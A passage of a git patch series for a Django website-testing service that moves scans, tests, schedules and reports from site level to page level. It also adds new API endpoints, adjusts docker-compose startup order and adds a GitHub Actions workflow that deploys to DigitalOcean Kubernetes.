+        test = Test.objects.get(id=id)
+    except:
+        data = {'reason': 'cannot find a Test with that id'}
         record_api_call(request, data, '404')
         return Response(data, status=status.HTTP_404_NOT_FOUND)
         
-    site = scan.site
+    site = test.site
     user = request.user
     account = Member.objects.get(user=user).account
 
-
     if site.account != account:
-        data = {'reason': 'delete Scans of a Site you do not own',}
+        data = {'reason': 'delete Tests of a Site you do not own',}
         record_api_call(request, data, '403')
         return Response(data, status=status.HTTP_403_FORBIDDEN)
+    
+    delete_test_s3_bg.delay(test.id, test.site.id, test.page.id)
+    test.delete()
 
-    scan.delete()
-
-    data = {'message': 'Scan has been deleted',}
+    data = {'message': 'Test has been deleted',}
     record_api_call(request, data, '200')
     response = Response(data, status=status.HTTP_200_OK)
     return response
 
 
 
-def delete_many_scans(request):
+
+def delete_many_tests(request):
     ids = request.data.get('ids')
     user = request.user
     account = Member.objects.get(user=user).account
@@ -857,9 +1546,10 @@ def delete_many_scans(request):
 
         for id in ids:
             try:
-                scan = Scan.objects.get(id=id)
-                if scan.site.account == account:
-                    scan.delete()
+                test = Test.objects.get(id=id)
+                if test.site.account == account:
+                    delete_test_s3_bg.delay(test.id, test.site.id, test.page.id)
+                    test.delete()
                 num_succeeded += 1
                 succeeded.append(str(id))
             except:
@@ -868,17 +1558,16 @@ def delete_many_scans(request):
                 this_status = False
 
         data = {
-            'status': this_status,
+            'success': this_status,
             'num_succeeded': num_succeeded,
             'succeeded': succeeded,
             'num_failed': num_failed,
             'failed': failed, 
         }
-        
         record_api_call(request, data, '200')
         response = Response(data, status=status.HTTP_200_OK)
         return response
-
+    
     data = {
         'reason': 'you must provide an array of id\'s'
     }
@@ -890,24 +1579,34 @@ def delete_many_scans(request):
 
 
 
+
+
+
 def create_or_update_schedule(request):
     user = request.user
     account = Member.objects.get(user=user).account
 
-    account_is_active = check_account(request)
+    account_is_active = check_account(request=request)
     if not account_is_active:
         data = {'reason': 'account not funded',}
         record_api_call(request, data, '402')
         return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED)
-
     try:
         site = Site.objects.get(id=request.data.get('site_id'))
         if site.account != account and site.account != None:
-            data = {'reason': 'create a Schedule of a Site you do not own',}
+            data = {'reason': 'cannot create a Schedule for a Site you do not own',}
             record_api_call(request, data, '403')
             return Response(data, status=status.HTTP_403_FORBIDDEN)
     except:
         site = None
+    try:
+        page = Page.objects.get(id=request.data.get('page_id'))
+        if page.account != account and page.account != None:
+            data = {'reason': 'cannot create a Schedule for a Page you do not own',}
+            record_api_call(request, data, '403')
+            return Response(data, status=status.HTTP_403_FORBIDDEN)
+    except:
+        page = None
     try:
         schedule = Schedule.objects.get(id=request.data.get('schedule_id'))
         if schedule.account != account and schedule.account != None:
@@ -928,9 +1627,16 @@ def create_or_update_schedule(request):
     scan_type = request.data.get('scan_type', ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'])
     configs = request.data.get('configs', None)
     schedule_id = request.data.get('schedule_id', None)
+    site_id = request.data.get('site_id', None)
+    page_id = request.data.get('page_id', None)
     case_id = request.data.get('case_id', None)
     updates = request.data.get('updates', None)
 
+    # converting to str for **kwargs
+    if site_id is not None:
+        site_id = str(site_id)
+    if page_id is not None:
+        page_id = str(page_id)
 
     if configs is None:
         configs = {
@@ -969,7 +1675,8 @@ def create_or_update_schedule(request):
         if task_type == 'test':
             task = 'api.tasks.create_test_bg'
             arguments = {
-                'site_id': str(site.id),
+                'site_id': site_id,
+                'page_id': page_id,
                 'configs': configs, 
                 'type': test_type,
                 'automation_id': auto_id
@@ -978,7 +1685,8 @@ def create_or_update_schedule(request):
         if task_type == 'scan':
             task = 'api.tasks.create_scan_bg'
             arguments = {
-                'site_id': str(site.id),
+                'site_id': site_id,
+                'page_id': page_id,
                 'configs': configs,
                 'type': scan_type,
                 'automation_id': auto_id
@@ -987,7 +1695,8 @@ def create_or_update_schedule(request):
         if task_type == 'report':
             task = 'api.tasks.create_report_bg'
             arguments = {
-                'site_id': str(site.id),
+                'site_id': site_id,
+                'page_id': page_id,
                 'automation_id': auto_id
             }
 
@@ -995,8 +1704,8 @@ def create_or_update_schedule(request):
         if task_type == 'testcase':
             task = 'api.tasks.create_testcase_bg'
             arguments = {
-                'site_id': str(site.id),
-                'case_id': str(case_id),
+                'site_id': site_id,
+                'page_id': page_id,
                 'updates': updates,
                 'configs': configs,
                 'automation_id': auto_id,
@@ -1024,12 +1733,23 @@ def create_or_update_schedule(request):
             day_of_week = '*'
             day_of_month = day
 
+        
+        if site is not None:
+            url = site.site_url
+            level = 'site'
+        if page is not None:
+            url = page.page_url
+            level = 'page'
+
 
-        task_name = str(task_type) + '_' + str(site.site_url) + '_' + str(freq) + '_@' + str(time)
+        task_name = str(task_type) + '_' + str(level) + '_' + str(url) + '_' + str(freq) + '_@' + str(time) + '_' + str(account.user.id)
 
         crontab, _ = CrontabSchedule.objects.get_or_create(
-            timezone=timezone, minute=minute, hour=hour,
-            day_of_week=day_of_week, day_of_month=day_of_month,
+            timezone=timezone, 
+            minute=minute, 
+            hour=hour,
+            day_of_week=day_of_week, 
+            day_of_month=day_of_month,
         )
 
         if schedule:
@@ -1037,15 +1757,18 @@ def create_or_update_schedule(request):
                 periodic_task = PeriodicTask.objects.filter(id=schedule.periodic_task_id)
                 periodic_task.update(
                     crontab=crontab,
-                    name=task_name, task=task,
+                    name=task_name, 
+                    task=task,
                     kwargs=json.dumps(arguments),
                 )
                 periodic_task = PeriodicTask.objects.get(id=schedule.periodic_task_id)
             else:
                 periodic_task = PeriodicTask.objects.create(
-                crontab=crontab, name=task_name, task=task,
-                kwargs=json.dumps(arguments),
-            )
+                    crontab=crontab,
+                    name=task_name, 
+                    task=task,
+                    kwargs=json.dumps(arguments),
+                )
 
         else:
             if PeriodicTask.objects.filter(name=task_name).exists():
@@ -1054,7 +1777,9 @@ def create_or_update_schedule(request):
                 return Response(data, status=status.HTTP_401_UNAUTHORIZED)
                 
             periodic_task = PeriodicTask.objects.create(
-                crontab=crontab, name=task_name, task=task,
+                crontab=crontab, 
+                name=task_name, 
+                task=task,
                 kwargs=json.dumps(arguments),
             )
 
@@ -1070,17 +1795,30 @@ def create_or_update_schedule(request):
             schedule_query = Schedule.objects.filter(id=schedule_id)
             if schedule_query.exists():
                 schedule_query.update(
-                    user=request.user, timezone=timezone,
-                    begin_date=begin_date, time=time, frequency=freq,
-                    task=task, crontab_id=crontab.id, task_type=task_type,
-                    extras=extras, account=account
+                    user=request.user, 
+                    timezone=timezone,
+                    begin_date=begin_date, 
+                    time=time, 
+                    frequency=freq,
+                    task=task, 
+                    crontab_id=crontab.id, 
+                    task_type=task_type,
+                    extras=extras, 
+                    account=account
                 )
                 schedule_new = Schedule.objects.get(id=schedule_id)
         else:
             schedule_new = Schedule.objects.create(
-                user=request.user, site=site, task_type=task_type, timezone=timezone,
-                begin_date=begin_date, time=time, frequency=freq,
-                task=task, crontab_id=crontab.id,
+                user=request.user, 
+                site=site,
+                page=page, 
+                task_type=task_type, 
+                timezone=timezone,
+                begin_date=begin_date, 
+                time=time, 
+                frequency=freq,
+                task=task, 
+                crontab_id=crontab.id,
                 periodic_task_id=periodic_task.id,
                 extras=extras,
                 account=account
@@ -1100,7 +1838,7 @@ def get_schedules(request):
     account = Member.objects.get(user=user).account
     schedule_id = request.query_params.get('schedule_id')
     site_id = request.query_params.get('site_id')
-
+    page_id = request.query_params.get('page_id')
 
     if schedule_id != None:
         try:
@@ -1109,9 +1847,8 @@ def get_schedules(request):
             data = {'reason': 'cannot find a Schedule with that id'}
             record_api_call(request, data, '404')
             return Response(data, status=status.HTTP_404_NOT_FOUND)
-
         if schedule.site.account != user or schedule.account != account:
-            data = {'reason': 'retrieve Schedules of a Site you do not own',}
+            data = {'reason': 'cannot retrieve Schedules of a Site you do not own',}
             record_api_call(request, data, '403')
             return Response(data, status=status.HTTP_403_FORBIDDEN)
         
@@ -1121,20 +1858,33 @@ def get_schedules(request):
         record_api_call(request, data, '200')
         return Response(data, status=status.HTTP_200_OK)
 
-
-    try:
-        site = Site.objects.get(id=site_id)
-    except:
-        data = {'reason': 'cannot find a Site with that id'}
-        record_api_call(request, data, '404')
-        return Response(data, status=status.HTTP_404_NOT_FOUND)
-
-    if site.account != account:
-        data = {'reason': 'retrieve Schedules of a Site you do not own',}
-        record_api_call(request, data, '403')
-        return Response(data, status=status.HTTP_403_FORBIDDEN)
+    if site_id is not None:
+        try:
+            site = Site.objects.get(id=site_id)
+        except:
+            data = {'reason': 'cannot find a Site with that id'}
+            record_api_call(request, data, '404')
+            return Response(data, status=status.HTTP_404_NOT_FOUND)
+        if site.account != account:
+            data = {'reason': 'cannot retrieve Schedules of a Site you do not own',}
+            record_api_call(request, data, '403')
+            return Response(data, status=status.HTTP_403_FORBIDDEN)
+        
+        schedules = Schedule.objects.filter(site=site).order_by('-time_created')
     
-    schedules = Schedule.objects.filter(site=site).order_by('-time_created')
+    if page_id is not None:
+        try:
+            page = Page.objects.get(id=page_id)
+        except:
+            data = {'reason': 'cannot find a Page with that id'}
+            record_api_call(request, data, '404')
+            return Response(data, status=status.HTTP_404_NOT_FOUND)
+        if page.account != account:
+            data = {'reason': 'cannot retrieve Schedules of a Page you do not own',}
+            record_api_call(request, data, '403')
+            return Response(data, status=status.HTTP_403_FORBIDDEN)
+        
+        schedules = Schedule.objects.filter(page=page).order_by('-time_created')
         
     paginator = LimitOffsetPagination()
     result_page = paginator.paginate_queryset(schedules, request)
@@ -1157,11 +1907,10 @@ def delete_schedule(request, id):
         return Response(data, status=status.HTTP_404_NOT_FOUND)
 
     task = PeriodicTask.objects.get(id=schedule.periodic_task_id)
-    site = schedule.site
     user = request.user
     account = Member.objects.get(user=user).account
 
-    if site.account != account:
+    if schedule.account != account:
         data = {'reason': 'delete Schedules you do not own',}
         record_api_call(request, data, '403')
         return Response(data, status=status.HTTP_403_FORBIDDEN)
@@ -1180,11 +1929,12 @@ def delete_schedule(request, id):
 
 
 
+
 def create_or_update_automation(request):
     user = request.user
     account = Member.objects.get(user=user).account
 
-    account_is_active = check_account(request)
+    account_is_active = check_account(request=request)
     if not account_is_active:
         data = {'reason': 'account not funded',}
         record_api_call(request, data, '402')
@@ -1212,6 +1962,8 @@ def create_or_update_automation(request):
     name = request.data.get('name')
     expressions = request.data.get('expressions')
     actions = request.data.get('actions')
+    site_id = request.data.get('site_id')
+    page_id = request.data.get('page_id')
 
     if automation:
         automation.name = name
@@ -1222,8 +1974,12 @@ def create_or_update_automation(request):
 
     if not automation:
         automation = Automation.objects.create(
-            name=name, expressions=expressions, actions=actions,
-            schedule=schedule, user=request.user, account=account
+            name=name, 
+            expressions=expressions, 
+            actions=actions,
+            schedule=schedule, 
+            user=request.user, 
+            account=account
         )
 
     if schedule:
@@ -1231,8 +1987,17 @@ def create_or_update_automation(request):
         schedule.save()
         # update associated periodicTask
         task = PeriodicTask.objects.get(id=schedule.periodic_task_id)
+        
+        site_id = None
+        if schedule.site is not None:
+            site_id = str(schedule.site.id)
+        page_id = None
+        if schedule.page is not None:
+            page_id = str(schedule.page.id)
+
         arguments = {
-            'site_id': str(schedule.site.id),
+            'site_id': site_id,
+            'page_id': page_id,
             'automation_id': str(automation.id),
             'configs': json.loads(task.kwargs).get('configs', None), 
             'type': json.loads(task.kwargs).get('type', None),
@@ -1320,12 +2085,12 @@ def create_or_update_report(request):
     account = Member.objects.get(user=user).account
 
     report_id = request.data.get('report_id', None)
-    site_id = request.data.get('site_id', None)
+    page_id = request.data.get('page_id', None)
     report_type = request.data.get('type', ['lighthouse', 'yellowlab'])
     text_color = request.data.get('text_color', '#24262d')
     background_color = request.data.get('background_color', '#e1effd')
     highlight_color = request.data.get('highlight_color', '#4283f8')
-    site = Site.objects.get(id=site_id)
+    page = Page.objects.get(id=page_id)
 
     info = {
         "text_color": text_color,
@@ -1348,7 +2113,8 @@ def create_or_update_report(request):
     
     else:
         report = Report.objects.create(
-            user=request.user, site=site, 
+            user=request.user, 
+            page=page, 
             account=account
         )
 
@@ -1374,19 +2140,20 @@ def create_or_update_report(request):
 
 
 def get_reports(request):
-    site_id = request.query_params.get('site_id', None)
+    page_id = request.query_params.get('page_id', None)
     report_id = request.query_params.get('report_id', None)
     user = request.user 
     account = Member.objects.get(user=user).account
 
-    if site_id:
+    if page_id:
         try:
-            site = Site.objects.get(id=site_id)
+            page = Page.objects.get(id=page_id)
+            reports = Report.objects.filter(page=page, account=account).order_by('-time_created')
         except:
-            data = {'reason': 'cannot find a Site with that id'}
+            data = {'reason': 'cannot find a Page with that id'}
             record_api_call(request, data, '404')
             return Response(data, status=status.HTTP_404_NOT_FOUND)
-        reports = Report.objects.filter(site=site, account=account).order_by('-time_created')
+        
 
     if report_id:
         try:
@@ -1396,7 +2163,7 @@ def get_reports(request):
             record_api_call(request, data, '404')
             return Response(data, status=status.HTTP_404_NOT_FOUND)
 
-    if site_id is None and report_id is None:
+    if page_id is None and report_id is None:
         reports = Report.objects.filter(user=request.user).order_by('-time_created')
 
     paginator = LimitOffsetPagination()
@@ -1498,7 +2265,7 @@ def create_or_update_case(request):
     user = request.user
     account = Member.objects.get(user=user).account
 
-    account_is_active = check_account(request)
+    account_is_active = check_account(request=request)
     if not account_is_active:
         data = {'reason': 'account not funded',}
         record_api_call(request, data, '402')
@@ -1630,7 +2397,7 @@ def create_testcase(request, delay=False):
     account = Member.objects.get(user=user).account
 
 
-    account_is_active = check_account(request)
+    account_is_active = check_account(request=request)
     if not account_is_active:
         data = {'reason': 'account not funded',}
         record_api_call(request, data, '402')
@@ -1800,7 +2567,7 @@ def delete_testcase(request, id):
 def get_logs(request):
 
     log_id = request.query_params.get('log_id')
-    request_status = request.query_params.get('status')
+    request_status = request.query_params.get('success')
     request_type = request.query_params.get('request_type')
 
     if log_id != None:
@@ -1926,12 +2693,12 @@ def migrate_site(request, delay=False):
 
         if wp_status: 
             data = {
-                'status': 'success',
+                'success': 'success',
                 'message': 'site migration succeeded'
             }
         else:
             data = {
-                'status': 'failed',
+                'success': 'failed',
                 'message': 'site migration failed'
             }
 
@@ -1954,12 +2721,12 @@ def migrate_site(request, delay=False):
 
         if wp_status: 
             data = {
-                'status': 'success',
+                'success': 'success',
                 'message': 'site migration succeeded'
             }
         else:
             data = {
-                'status': 'failed',
+                'success': 'failed',
                 'message': 'site migration failed'
             }
 
@@ -2029,3 +2796,34 @@ def get_home_stats(request):
     return response
 
 
+
+
+
+def get_site_stats(request):
+    user = request.user
+    account = Member.objects.get(user=user).account
+    site_id = request.query_params.get('site_id')
+    site = Site.objects.get(id=site_id)
+    pages = Page.objects.filter(site=site)
+    page_count = pages.count()
+    test_count = 0
+    scan_count = 0
+    schedule_count = 0
+    for page in pages:
+        tests = Test.objects.filter(page=page)
+        scans = Scan.objects.filter(page=page)
+        schedules = Schedule.objects.filter(page=page)
+        test_count = test_count + tests.count()
+        scan_count = scan_count + scans.count()
+        schedule_count = schedule_count + schedules.count()
+
+    data = {
+        "pages": page_count, 
+        "tests": test_count,
+        "scans": scan_count,
+        "schedules": schedule_count,
+    }
+    response = Response(data, status=status.HTTP_200_OK)
+    return response
+
+
diff --git a/app/api/v1/ops/tasks.py b/app/api/v1/ops/tasks.py
index 8dc20b9e..ce155744 100644
--- a/app/api/v1/ops/tasks.py
+++ b/app/api/v1/ops/tasks.py
@@ -24,7 +24,7 @@ def create_site_task(site_id, scan_id, configs):
 
 def create_scan_task(
         scan_id=None,
-        site_id=None, 
+        page_id=None, 
         type=['full'],
         automation_id=None, 
         configs=None,
@@ -32,10 +32,11 @@ def create_scan_task(
     ):
     if scan_id is not None:
         created_scan = Scan.objects.get(id=scan_id)
-    elif site_id is not None:
-        site = Site.objects.get(id=site_id)
+    elif page_id is not None:
+        page = Page.objects.get(id=page_id)
         created_scan = Scan.objects.create(
-            site=site,
+            site=page.site,
+            page=page,
             type=type,
             configs=configs,
             tags=tags, 
@@ -71,7 +72,7 @@ def run_yellowlab_task(scan_id=None):
 
 def create_test_task(
         test_id=None, 
-        site_id=None,
+        page_id=None,
         automation_id=None, 
         configs=None, 
         type=['full'],
@@ -83,11 +84,12 @@ def create_test_task(
 
     if test_id is not None:
         created_test = Test.objects.get(id=test_id)
-        site = created_test.site
-    elif site_id is not None:
-        site = Site.objects.get(id=site_id)
+        page = created_test.page
+    elif page_id is not None:
+        page = Page.objects.get(id=page_id)
         created_test = Test.objects.create(
-            site=site,
+            site=page.site,
+            page=page,
             type=type,
             tags=tags,
         )
@@ -98,10 +100,10 @@ def create_test_task(
         post_scan = Scan.objects.get(id=post_scan)
 
     if post_scan is None and pre_scan is not None:
-        post_scan = S(site=site, scan=pre_scan, configs=configs, type=type).second_scan()
+        post_scan = S(site=page.site, page=page, scan=pre_scan, configs=configs, type=type).second_scan()
         
     if pre_scan is None and post_scan is None:
-        new_scan = S(site=site, configs=configs, type=type)
+        new_scan = S(site=page.site, page=page, configs=configs, type=type)
         post_scan = new_scan.second_scan()
         pre_scan = post_scan.paired_scan
 
@@ -126,10 +128,12 @@ def create_test_task(
 
 
 
-def create_report_task(site_id, automation_id=None):
-    site = Site.objects.get(id=site_id)
-    if Report.objects.filter(site=site).exists():
-       report = Report.objects.filter(site=site).order_by('-time_created')[0]
+def create_report_task(page_id=None, automation_id=None):
+    
+    page = Page.objects.get(id=page_id)
+
+    if Report.objects.filter(page=page).exists():
+        report = Report.objects.filter(site=site).order_by('-time_created')[0]
     else:
         info = {
             "text_color": '#24262d',
@@ -138,11 +142,11 @@ def create_report_task(site_id, automation_id=None):
         }
         report = Report.objects.create(
             user=site.user,
-            site=site,
+            site=page.site,
+            page=page,
             info=info,
             type=['lighthouse', 'yellowlab']
         )
-
     
     report = R(report=report).make_test_report()
     if automation_id:
@@ -171,6 +175,7 @@ def delete_site_s3(site_id):
         pass
 
     return
+    
 
 
 
@@ -196,7 +201,6 @@ def delete_testcase_s3(testcase_id):
     
 
 
-
 def delete_report_s3(report_id):
     # setup boto3 configurations
     s3 = boto3.resource('s3', 
diff --git a/app/api/v1/ops/urls.py b/app/api/v1/ops/urls.py
index f0d0f7ab..2178fc87 100644
--- a/app/api/v1/ops/urls.py
+++ b/app/api/v1/ops/urls.py
@@ -5,18 +5,25 @@
 urlpatterns = [
     path('site', views.Sites.as_view(), name='site'),
     path('site/<uuid:id>', views.SiteDetail.as_view(), name='site-detail'),
+    path('site/<uuid:id>/crawl', views.SiteCrawl.as_view(), name='site-crawl'),
     path('site/delay', views.SiteDelay.as_view(), name='site-delay'),
     path('sites/delete', views.SitesDelete.as_view(), name='sites-delete'),
+    path('page', views.Pages.as_view(), name='page'),
+    path('page/<uuid:id>', views.PageDetail.as_view(), name='page-detail'),
+    path('page/delay', views.PageDelay.as_view(), name='page-delay'),
+    path('pages/delete', views.PagesDelete.as_view(), name='pages-delete'),
     path('scan', views.Scans.as_view(), name='scan'),
     path('scan/<uuid:id>', views.ScanDetail.as_view(), name='scan-detail'),
     path('scan/<uuid:id>/lean', views.ScanLean.as_view(), name='scan-lean'),
     path('scan/delay', views.ScanDelay.as_view(), name='scan-delay'),
     path('scans/delete', views.ScansDelete.as_view(), name='scans-delete'),
+    path('scans/create', views.ScansCreate.as_view(), name='scans-create'),
     path('test', views.Tests.as_view(), name='test'),
     path('test/<uuid:id>', views.TestDetail.as_view(), name='test-detail'),
     path('test/<uuid:id>/lean', views.TestLean.as_view(), name='test-lean'),
     path('test/delay', views.TestDelay.as_view(), name='test-delay'),
     path('tests/delete', views.TestsDelete.as_view(), name='tests-delete'),
+    path('tests/create', views.TestsCreate.as_view(), name='tests-create'),
     path('log', views.Logs.as_view(), name='log'),
     path('log/<uuid:id>', views.LogDetail.as_view(), name='log-detail'),
     path('schedule', views.Schedules.as_view(), name='schedule'),
@@ -26,6 +33,7 @@
     path('report', views.Reports.as_view(), name='report'),
     path('report/<uuid:id>', views.ReportDetail.as_view(), name='report-detail'),
     path('home-stats', views.HomeStats.as_view(), name='home-stats'),
+    path('site-stats', views.SiteStats.as_view(), name='site-stats'),
     path('process', views.Processes.as_view(), name='process'),
     path('process/<uuid:id>', views.ProcessDetail.as_view(), name='process-detail'),
     path('case', views.Cases.as_view(), name='case'),
diff --git a/app/api/v1/ops/views.py b/app/api/v1/ops/views.py
index 2bc92ea0..61db54ac 100644
--- a/app/api/v1/ops/views.py
+++ b/app/api/v1/ops/views.py
@@ -67,6 +67,15 @@ def post(self, request):
 
 
 
+class SiteCrawl(APIView):
+    permission_classes = (AllowAny,)
+    http_method_names = ['post',]
+
+    def post(self, request, id):
+        response = crawl_site(request, id)
+        return response
+
+
 class SitesDelete(APIView):
     permission_classes = (AllowAny,)
     http_method_names = ['post',]
@@ -78,6 +87,66 @@ def post(self, request):
 
 
 
+class Pages(APIView):
+    permission_classes = (AllowAny,)
+    http_method_names = ['post', 'get']
+    pagination_class = LimitOffsetPagination
+
+    def post(self, request):
+        response = create_page(request)
+        return response
+
+    def get(self, request):
+        response = get_pages(request)
+        return response
+    
+
+
+class PageDetail(APIView):
+    permission_classes = (AllowAny,)
+    http_method_names = ['get', 'delete']
+
+    def get(self, request, id):
+        page = get_object_or_404(Page, pk=id)
+        user = request.user
+        account = Member.objects.get(user=user).account
+        if page.account != account:
+            data = {'reason': 'you cannot retrieve a Page you do not own',}
+            record_api_call(request, data, '401')
+            return Response(data, status=status.HTTP_403_FORBIDDEN)
+        serializer_context = {'request': request,}
+        serialized = PageSerializer(page, context=serializer_context)
+        data = serialized.data
+        record_api_call(request, data, '200')
+        return Response(data, status=status.HTTP_200_OK) 
+
+    def delete(self, request, id):
+        response = delete_page(request, id)
+        return response
+
+
+
+class PageDelay(APIView):
+    permission_classes = (AllowAny,)
+    http_method_names = ['post',]
+
+    def post(self, request):
+        response = create_page(request, delay=True)
+        return response
+
+
+
+class PagesDelete(APIView):
+    permission_classes = (AllowAny,)
+    http_method_names = ['post',]
+
+    def post(self, request):
+        response = delete_many_pages(request)
+        return response
+
+
+
+
 class Scans(APIView):
     permission_classes = (AllowAny,)
     http_method_names = ['post', 'get',]
@@ -136,6 +205,17 @@ def post(self, request):
         return response
 
 
+
+class ScansCreate(APIView):
+    permission_classes = (AllowAny,)
+    http_method_names = ['post',]
+
+    def post(self, request):
+        response = create_many_scans(request)
+        return response
+
+
+
 class ScansDelete(APIView):
     permission_classes = (AllowAny,)
     http_method_names = ['post',]
@@ -205,6 +285,15 @@ def post(self, request):
         return response
 
 
+class TestsCreate(APIView):
+    permission_classes = (AllowAny,)
+    http_method_names = ['post',]
+
+    def post(self, request):
+        response = create_many_tests(request)
+        return response
+
+
 class TestsDelete(APIView):
     permission_classes = (AllowAny,)
     http_method_names = ['post',]
@@ -486,6 +575,15 @@ def get(self, request):
 
 
 
+class SiteStats(APIView):
+    permission_classes = (AllowAny,)
+    http_method_names = ['get',]
+
+    def get(self, request):
+        response = get_site_stats(request)
+        return response
+
+
 
 class Processes(APIView):
     permission_classes = (AllowAny,)
diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index fa01f3a1..e1171a0d 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -11,9 +11,9 @@ services:
       - ./app:/app
       - static_volume:/app/static
     command: >
-      sh -c "python3 manage.py makemigrations  --no-input &&
+      sh -c "python3 manage.py wait_for_db &&
+             python3 manage.py makemigrations  --no-input &&
              python3 manage.py migrate  --no-input &&
-             python3 manage.py collectstatic --no-input &&
              python3 manage.py wait_for_db &&
              python3 manage.py create_admin &&
              python3 manage.py driver_s_test &&
diff --git a/docker-compose.prod.yml b/docker-compose.prod.yml
index da5cd6f8..38826afb 100644
--- a/docker-compose.prod.yml
+++ b/docker-compose.prod.yml
@@ -13,10 +13,10 @@ services:
       - ./app:/app
       - static_volume:/app/static
     command: >
-      sh -c "python3 manage.py makemigrations  --no-input &&
+      sh -c "python3 manage.py wait_for_db &&
+             python3 manage.py makemigrations  --no-input &&
              python3 manage.py migrate  --no-input &&
              python3 manage.py collectstatic --no-input &&
-             python3 manage.py wait_for_db &&
              python3 manage.py create_admin &&
              python3 manage.py driver_s_test &&
              python3 manage.py driver_p_test && 
diff --git a/docker-compose.yml b/docker-compose.yml
index a80234e6..294b39f3 100644
--- a/docker-compose.yml
+++ b/docker-compose.yml
@@ -14,10 +14,10 @@ services:
     volumes:
       - ./app:/app
     command: >
-      sh -c "python3 manage.py makemigrations  --no-input &&
+      sh -c "python3 manage.py wait_for_db &&
+             python3 manage.py makemigrations  --no-input &&
              python3 manage.py migrate --no-input &&
              python3 manage.py collectstatic --no-input &&
-             python3 manage.py wait_for_db &&
              python3 manage.py create_admin &&
              python3 manage.py driver_s_test &&
              python3 manage.py driver_p_test && 
@@ -46,7 +46,7 @@ services:
     restart: always
     build:
       context: .
-      dockerfile: Dockerfile.prod
+      dockerfile: Dockerfile
     # image: landonr/scanerr-server
     command: celery -A scanerr worker --beat --scheduler django --loglevel=info
     volumes:
diff --git a/requirements.txt b/requirements.txt
index df9fe6b2..e546b252 100644
--- a/requirements.txt
+++ b/requirements.txt
@@ -1,5 +1,6 @@
 amqp==5.0.6
 asgiref==3.3.4
+beautifulsoup4==4.12.2
 billiard==3.6.4.0
 boto3==1.20.32
 celery==5.1.0
@@ -21,11 +22,12 @@ docker==5.0.0
 gunicorn==20.1.0
 humanize==3.7.0
 idna==2.10
+imutils==0.5.4
 kombu==5.1.0
 Markdown==3.3.4
 numpy==1.22.3
 opencv-python==4.5.5.64
-Pillow==9.0.0
+Pillow==9.0.1
 prometheus-client==0.8.0
 prompt-toolkit==3.0.18
 psycopg2==2.8.6
@@ -35,6 +37,7 @@ pytz==2021.1
 redis==3.5.3
 requests==2.25.1
 reportlab==3.6.6
+scikit-image==0.21.0
 scipy==1.8.0
 selenium==4.1.3
 sendgrid==6.9.7

From f615eda1b96e2ec67c6e719b0d5cd910952dce70 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Thu, 20 Jul 2023 21:06:09 -0500
Subject: [PATCH 005/752] adding workflow

---
 .github/workflow/wokflow.yml | 68 ++++++++++++++++++++++++++++++++++++
 1 file changed, 68 insertions(+)
 create mode 100644 .github/workflow/wokflow.yml

diff --git a/.github/workflow/wokflow.yml b/.github/workflow/wokflow.yml
new file mode 100644
index 00000000..4a3fcdd5
--- /dev/null
+++ b/.github/workflow/wokflow.yml
@@ -0,0 +1,68 @@
+# This workfow shows how to build a Docker image, tag and push it to DigitalOcean Container Registry, and
+# deploy the application on a DIgitalOcean Kubernetes cluster. For description to the entire worklow, 
+# see www.digitalocean.com/docs/kubernetes/how-to/deploy-using-github-actions.
+
+name: Build, push, and deploy
+
+# Controls when the action will run.
+on:
+  # Triggers the workflow on push request on the main branch for changes in the specified paths.
+  push:
+    branches:
+      - main
+    paths:
+      - 'app/**'
+      - 'k8s/prod/**'
+      - 'Dockerfile'
+      - '.github/workflows/**'
+
+# A workflow run is made up of one or more jobs that can run sequentially or in parallel.
+jobs:
+  # This workflow contains a single job called "build".
+  build:
+    # The type of runner that the job will run on.
+    runs-on: ubuntu-latest
+    
+    # Steps represent a sequence of tasks that will be executed as part of the job
+    steps:
+
+    # Checks-out your repository under $GITHUB_WORKSPACE, so your job can access it.
+    - name: Checkout master
+      uses: actions/checkout@main
+
+    # Install doctl.
+    - name: Install doctl
+      uses: digitalocean/action-doctl@v2
+      with:
+        token: ${{ secrets.DIGITALOCEAN_ACCESS_TOKEN }}
+    
+    # Build a Docker image of your application in your registry and tag the image with the $GITHUB_SHA.
+    - name: Build container image
+      run: docker build -t ${{ secrets.REGISTRY_NAME }}/scanerr-server:$(echo $GITHUB_SHA | head -c7) .
+
+    - name: Log in to DigitalOcean Container Registry with short-lived credentials
+      run: doctl registry login --expiry-seconds 1200
+
+    - name: Push image to DigitalOcean Container Registry
+      run: docker push ${{ secrets.REGISTRY_NAME }}/scanerr-server:$(echo $GITHUB_SHA | head -c7)
+
+    # Update deployment files to reflect new build.
+    - name: Update app deployment file
+      run: TAG=$(echo $GITHUB_SHA | head -c7) && sed -i 's|<IMAGE>|${{ secrets.REGISTRY_NAME }}/scanerr-server:'${TAG}'|' $GITHUB_WORKSPACE/k8s/prod/app-deployment.yml
+    
+    - name: Update celery deployment file
+      run: TAG=$(echo $GITHUB_SHA | head -c7) && sed -i 's|<IMAGE>|${{ secrets.REGISTRY_NAME }}/scanerr-server:'${TAG}'|' $GITHUB_WORKSPACE/k8s/prod/celery-deployment.yml
+
+    - name: Save DigitalOcean kubeconfig with short-lived credentials
+      run: doctl kubernetes cluster kubeconfig save --expiry-seconds 600 ${{ secrets.CLUSTER_NAME }}
+    
+    # Re-deploy app and Celery
+    - name: Deploy app
+      run: kubectl apply -f $GITHUB_WORKSPACE/k8s/prod/app-deployment.yml
+    - name: Deploy celery 
+      run: kubectl apply -f $GITHUB_WORKSPACE/k8s/prod/celery-deployment.yml
+
+    - name: Verify app
+      run: kubectl rollout status deployment/app-deployment
+    - name: Verify celery
+      run: kubectl rollout status deployment/celery-deployment
\ No newline at end of file

From 038fe6e5762b5eaf9c11b8ac6d216a07140dc2cb Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Thu, 20 Jul 2023 21:06:24 -0500
Subject: [PATCH 006/752] updated deployment notes for k8s

---
 k8s/kubernetes-notes.md         | 46 ++++++++++++++++++++-------------
 k8s/prod/app-cert-issuer.yaml   |  2 +-
 k8s/prod/app-deployment.yaml    |  4 +--
 k8s/prod/app-ingress.yaml       |  8 +++---
 k8s/prod/celery-deployment.yaml |  4 +--
 5 files changed, 38 insertions(+), 26 deletions(-)

diff --git a/k8s/kubernetes-notes.md b/k8s/kubernetes-notes.md
index e0c92da2..20554be7 100644
--- a/k8s/kubernetes-notes.md
